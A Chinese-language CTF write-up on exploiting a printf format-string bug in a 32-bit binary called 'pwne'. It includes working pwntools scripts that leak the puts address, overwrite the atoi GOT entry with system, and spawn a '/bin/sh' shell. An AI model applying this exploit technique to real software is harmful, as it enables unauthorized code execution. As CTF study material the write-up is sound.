網上隨便找一下能夠找到二進制文件和libc,這裏就不貼了~
在函數80485CD處有上圖所示的printf漏洞
checksec發現,32位程序,和hackme的echo不同的是,開了Canary和NX
所以思路還是一樣,先要泄露偏移值
#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.log_level = "debug"
def find_offset(payload):
io = process("./pwne")
io.recvuntil("[Y/N]")
io.sendline("Y")
io.recvuntil("NAME:\n\n")
io.sendline(payload)
info = io.recv()
io.close()
return info
autofmt = FmtStr(find_offset)
print autofmt.offset
值是7,檢驗一下
然後,泄露出puts函數的地址,從而可以計算出system的地址
第一次格式化字符串目的:泄露函數地址(puts)-(system)
(翻一翻pwne的函數表:沒有system函數,所以要泄露)
第二次格式化字符串目的:修改函數地址(atoi)-(system)
即類似hackme的echo題(將printf函數的got地址改成system函數的plt地址),將atoi函數的got地址改成system函數的plt地址
利用之後的read函數,輸入"/bin/sh"即可,代碼如下:
#!/usr/bin/env python
# coding=utf-8
from pwn import *
elf = ELF("./pwne")
#libc = ELF("./libc.so.6")
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
io = process("./pwne")
#leak puts addr
io.recvuntil("[Y/N]\n")
io.sendline("Y")
io.recvuntil("NAME:\n\n")
io.sendline(p32(elf.got["puts"]) + "%7$s")
io.recvuntil("WELCOME \n")
puts_addr = io.recv()[4:8]
io.sendline("0xABCD")
#calc system addr
system_addr = libc.symbols["system"] - libc.symbols["puts"] + u32(puts_addr)
atoi_addr = elf.got["atoi"]
#change atoi_addr -> system_addr
io.recvuntil("[Y/N]\n")
io.sendline("Y")
io.recvuntil("NAME:\n\n")
io.sendline(fmtstr_payload(7, {atoi_addr: system_addr}))
#read()
io.recvuntil("AGE:\n\n")
#atoi("/bin/sh") -> system("/bin/sh")
io.sendline("/bin/sh\x00")
io.interactive()
發現:只能用自己機器的libc,用網上下載的libc不對(對比了一下,機器中的so文件大小爲1745KB,網上提供的爲1722KB,可能是puts和system的偏移不同了導致錯誤)